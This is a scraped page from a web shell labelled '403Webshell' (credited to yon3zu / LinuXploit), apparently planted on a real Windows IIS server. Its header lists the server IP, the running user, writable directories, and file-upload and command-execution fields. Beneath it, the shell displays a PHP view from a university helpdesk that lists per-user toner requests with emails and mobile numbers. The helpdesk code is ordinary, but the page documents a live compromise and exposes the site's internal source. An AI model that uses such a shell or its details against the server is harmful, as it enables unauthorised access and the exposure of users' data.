403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/Helpdesk/application/views/requests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/Helpdesk/application/views/requests/toners_peruser.php
<?php if (!defined("SYSTEM")) die();?>

<h2 class="text-center m-b-40"><?php echo $title; ?></h2>
<table class="table table-striped table-bordered table-hover table-responsive dataTable" data-url="<?php echo APP_BASE ?>requests/savetonerrequest">
	<thead>
		<tr>
			<th class="text-center no-sort col-white">Α/Α</th>
			<th>Χρήστης</th>
			<th>Email</th>
			<th>Κινητό</th>
			<th>Εκτυπωτής</th>
			<th>Είδος</th>
			<th>Χρώμα</th>
			<th class="no-sort">Κωδικός</th>
			<th class="no-sort small-padding">Ποσότ.<br>αίτησης</th>
			<th class="no-sort small-padding">Ποσότ.<br>τελική</th>
			<th class="no-sort">Τιμή<br>/τεμ.</th>
		</tr>
	</thead>
	<tbody>
<?php if ($requests) { $c = 0; ?>
	<?php foreach ($requests as $request) { 
		if ($request->quantity_approved!=$request->quantity)
			$color = "col-red";
		else
			$color = "";
	?>
		<tr>
			<td class="text-center"><?php echo ++$c; ?></td>
			<td><?php 
				$parts = explode(" ", $request->fullname);
				$reversedParts = array_reverse($parts);
				$reversedFullname = implode(" ", $reversedParts);
				echo $reversedFullname; 
				?>
			</td>
			<td><?php echo $request->username."@ihu.gr"; ?></td>
			<td><?php echo $request->mobile; ?></td>
			<td><?php echo $request->printer; ?></td>
			<td><?php echo $request->type; ?></td>
			<td><?php echo $request->color; ?></td>
			<td><?php echo $request->code; ?></td>
			<td class="text-center quantity"><?php echo $request->quantity; ?></td>
			<td class="text-center">
				<select class="quantity_approved <?php echo $color; ?>" data-id="<?php echo $request->id; ?>">
					<option value="0"<?php echo ($request->quantity_approved==0?" selected":""); ?>>0</option>
					<option value="1"<?php echo ($request->quantity_approved==1?" selected":""); ?>>1</option>
					<option value="2"<?php echo ($request->quantity_approved==2?" selected":""); ?>>2</option>
					<option value="3"<?php echo ($request->quantity_approved==3?" selected":""); ?>>3</option>
					<option value="4"<?php echo ($request->quantity_approved==4?" selected":""); ?>>4</option>
					<option value="5"<?php echo ($request->quantity_approved==5?" selected":""); ?>>5</option>
					<option value="6"<?php echo ($request->quantity_approved==6?" selected":""); ?>>6</option>
					<option value="7"<?php echo ($request->quantity_approved==7?" selected":""); ?>>7</option>
					<option value="8"<?php echo ($request->quantity_approved==8?" selected":""); ?>>8</option>
					<option value="9"<?php echo ($request->quantity_approved==9?" selected":""); ?>>9</option>
					<option value="10"<?php echo ($request->quantity_approved==10?" selected":""); ?>>10</option>
					<option value="11"<?php echo ($request->quantity_approved==11?" selected":""); ?>>11</option>
					<option value="12"<?php echo ($request->quantity_approved==12?" selected":""); ?>>12</option>
				</select>
			</td>
			<td class="text-center"><?php echo $request->price; ?></td>
		</tr>
	<?php } ?>
<?php } else { ?>
		<tr>
			<td class="text-center" colspan="8">- Κανένα αναλώσιμο -</td>
		</tr>
<?php } ?>

	</tbody>
</table>


Youez - 2016 - github.com/yon3zu
LinuXploit